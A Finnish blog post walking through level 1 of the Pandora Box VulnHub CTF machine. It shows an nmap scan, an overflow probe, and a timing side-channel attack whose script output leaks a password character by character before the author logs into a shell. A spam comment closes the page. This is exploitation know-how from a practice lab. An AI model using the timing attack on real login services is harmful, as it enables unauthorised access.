Pandora Box – Taso 1

VulnHub tarjoaa exploit ja reverse engineering käyttöön valmiita virtuaalikoneimageja CTF perjaatteella, joiden avulla voi tuhlata omaa aikaansa yrittämällä päästä niihin sisään. Joten

Pandora Box on c0ne:n tekemä virtuaalikone, joka sisältää 5 eri tasoa. Nämä kaikki tasot ratkomalla ‘lipas’ vihdoinkin aukeaa. Jotta elämä ei olisi niin helppoa, käytössä on kaikki nykyaikaiset suojaukset, joita nykyiset käyttöjärjestelmät ja suorittimet tukee. Eli asioita hankaloittavat ainakin seuraavat asiat ASLR, DEP ja Canary.

Aloitetaan skannaamalla aukinaiset portit. Sillä verkkoyhteys on ainoa rajapinta koneeseen, mikä meillä on käytettävissä

$ nmap -p- 192.168.1.104
Starting Nmap 6.46 ( http://nmap.org ) at 2015-06-25 17:19 EEST
Nmap scan report for 192.168.1.104
Host is up (0.00046s latency).
Not shown: 65533 closed ports
PORT      STATE SERVICE
22/tcp    open  ssh
54311/tcp open  unknown

Nmap done: 1 IP address (1 host up) scanned in 0.74 seconds

Ei niinkään yllätys, että ssh on auki, mutta portti 54311 onkin sitten asia erikseen. Kyseisen portin takaa löytyykin “Secure Remote Shell”, joka varmasti on erittäin turvallinen!

$ nc 192.168.1.104 54311
#######################
# Secure Remote Shell #
#######################
Welcome, please log in
Password: 

Tämä on kuitenkin vasta ensimmäinen taso, joten kokeillaan onnea ja testataan muutamaa eri sanakirjahyökkäystä. Yllättäen näiden avulla ei sisään päästä, joten jotain muuta pitää keksiä. Seuraavaksi mieleen juolahti kokeilla aiheuttaako liian pitkä syöte jonkinasteisen muistiylivuodon.

Password: AAA%AAsAABAA$AAnAACAAAA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAd
AA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAA
RAAnAASAAoAATAApAAUAAqAAVAArAAWAAsAAXAAtAAYAAuAAZAAvAAwAAxAAyAAzA%%A%sA%BA%$A
%nA%CA%A(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%
gA%6A%LA%hA%7A%MA%iA%8A%NA%jA%9A%OA%kA%PA%lA%QA%mA%RA%nA%SA%oA%TA%pA%UA%qA%VA
%rA%WA%sA%XA%tA%YA%uA%ZA%vA%wA%xA%yA%zAs%AssAsBAs$AsnAsCAsAs(AsDAs;As)AsEAsaA
s0AsFAsbAs1AsGAscAs2AsHAsdAs3AsIAseAs4AsJAsfAs5AsKAsgAs6A
Invalid password!
Password: Invalid password!
Password: Invalid password!
Password: Invalid password!
Password: Invalid password!
Password: Invalid password!
Password: Invalid password!
Password: Invalid password!
Password: Invalid password!
Password: 

Ei aiheuta, mutta salasanalla näyttäisi olevan maksimipituus. Sillä jos syöte on yli 64 merkkiä pitkä, niin yli menevä osuus näytettäisiin käsittelevän omana yrityksenä. Syötteet joissa on “epäkivoja” merkkejä, kuten rivinvaihto tai 0-tavu eivät myöskään aiheuttaneet mitään ongelmaa.

Mikään ei oikein tuntunut tepsivän. Yhdessä vaiheessa kuitenkin silmiin pisti sellainen huomio, että pitkällä syötteellä vastauksen saaminen kesti pidempään. Tästä muistui mieleen eräs lukemani julkaisu, jossa Smartcardeja vastaan hyökättiin timing attack:lla. Mikäli salasanan tarkistaminen ei ole vakioaikainen operaatio, niin suoritusaikoja tarkisteleminen eri syötteillä mahdollisesti voi vuotaa tietoja. Joten tein skriptin, joka kokeilee kirjautua sisään yksittäisellä merkillä ja samalla mittaa vastauksen saapumiseen kuluneen ajan.

a: 0.005430
b: 0.005628
c: 0.005343
d: 0.005462
...
Q: 0.005380
R: 0.001458
S: 0.006276
...
8: 0.006205
9: 0.006139

Aluksi suhtauduin kyllä ideaan varsin skeptisesti, mutta hämmästys oli suuri. Kaikki muut kirjaimet näyttävät ottavan yhtä paljon aikaa, mutta kirjaimella R suoritus on huomattavasti nopeampi. Nyt voisimme päätellä, että ensimmäinen merkki salasanassa on R. Jatketaan seuraavan kirjaimen kohdalla samalla tavalla jne. Kokeillaan seuraavaksi toimisiko sama käytännössä. Tehdään skripti, joka koittaa selvittää salasanaa kyseisellä tavalla.

$ python timing_attack.py 
[*] Connected and start a timing attack
Leaked: R
Leaked: R3
Leaked: R3s
Leaked: R3sp
Leaked: R3sp3
Leaked: R3sp3c
Leaked: R3sp3ct
Leaked: R3sp3ctY
Leaked: R3sp3ctY0
Leaked: R3sp3ctY04
Leaked: R3sp3ctY04r
Leaked: R3sp3ctY04r4
Leaked: R3sp3ctY04r4d
Leaked: R3sp3ctY04r4dm
Leaked: R3sp3ctY04r4dm1
Leaked: R3sp3ctY04r4dm1n
Leaked: R3sp3ctY04r4dm1ni
Leaked: R3sp3ctY04r4dm1niS
Leaked: R3sp3ctY04r4dm1niSt
Leaked: R3sp3ctY04r4dm1niSt4
Leaked: R3sp3ctY04r4dm1niSt4t
Leaked: R3sp3ctY04r4dm1niSt4t0
Leaked: R3sp3ctY04r4dm1niSt4t0r
Leaked: R3sp3ctY04r4dm1niSt4t0rL
Leaked: R3sp3ctY04r4dm1niSt4t0rL1
Leaked: R3sp3ctY04r4dm1niSt4t0rL1k
Leaked: R3sp3ctY04r4dm1niSt4t0rL1ke
Leaked: R3sp3ctY04r4dm1niSt4t0rL1keY
Leaked: R3sp3ctY04r4dm1niSt4t0rL1keYo
Leaked: R3sp3ctY04r4dm1niSt4t0rL1keYo4
Leaked: R3sp3ctY04r4dm1niSt4t0rL1keYo4R
Leaked: R3sp3ctY04r4dm1niSt4t0rL1keYo4R3
Leaked: R3sp3ctY04r4dm1niSt4t0rL1keYo4R3s
Leaked: R3sp3ctY04r4dm1niSt4t0rL1keYo4R3sp
Leaked: R3sp3ctY04r4dm1niSt4t0rL1keYo4R3spe
Leaked: R3sp3ctY04r4dm1niSt4t0rL1keYo4R3spec
Leaked: R3sp3ctY04r4dm1niSt4t0rL1keYo4R3spect
Leaked: R3sp3ctY04r4dm1niSt4t0rL1keYo4R3spectY
Leaked: R3sp3ctY04r4dm1niSt4t0rL1keYo4R3spectY0
Leaked: R3sp3ctY04r4dm1niSt4t0rL1keYo4R3spectY04
Leaked: R3sp3ctY04r4dm1niSt4t0rL1keYo4R3spectY04r
Leaked: R3sp3ctY04r4dm1niSt4t0rL1keYo4R3spectY04rG
Leaked: R3sp3ctY04r4dm1niSt4t0rL1keYo4R3spectY04rG0
Password founded: R3sp3ctY04r4dm1niSt4t0rL1keYo4R3spectY04rG0d

Sisään kirjautuessa eteen pamahtaa komentorivi ja nopealla selvittelyllä näytämme olevan sisällä käyttäjällä level1.

$ nc 192.168.1.104 54311
#######################
# Secure Remote Shell #
#######################
Welcome, please log in
Password: R3sp3ctY04r4dm1niSt4t0rL1keYo4R3spectY04rG0d
Logged in successfully, type exit to close the shell
Shell$ whoami;pwd;uname -a
level1
/home/level1
Linux pb0x 3.13.0-32-generic #57~precise1-Ubuntu SMP Tue Jul 15 03:50:54 UTC 2014 i686 i686 i386 GNU/Linux
Shell$ ls
level2
level2_readme.txt
Shell$ cat level2_readme.txt
Start this level with socat 'socat TCP4-listen:53121,reuseaddr,fork EXEC:./level2' and use netcat or whatever to communicate with it.

Have fun!
Shell$ 

Ensimmäinen taso selätetty ja olemme sisällä. Tästä varsinainen exploittaaminen vasta alkaakin.

This entry was posted in Jotain aivan muuta and tagged , , , , . Bookmark the permalink.

One Response to Pandora Box – Taso 1

  1. BestKam says:

    I see you don’t monetize your site, don’t waste
    your traffic, you can earn extra bucks every month.
    You can use the best adsense alternative for any type
    of website (they approve all websites), for more details simply search in gooogle:
    boorfe’s tips monetize your website

Leave a Reply

Your email address will not be published. Required fields are marked *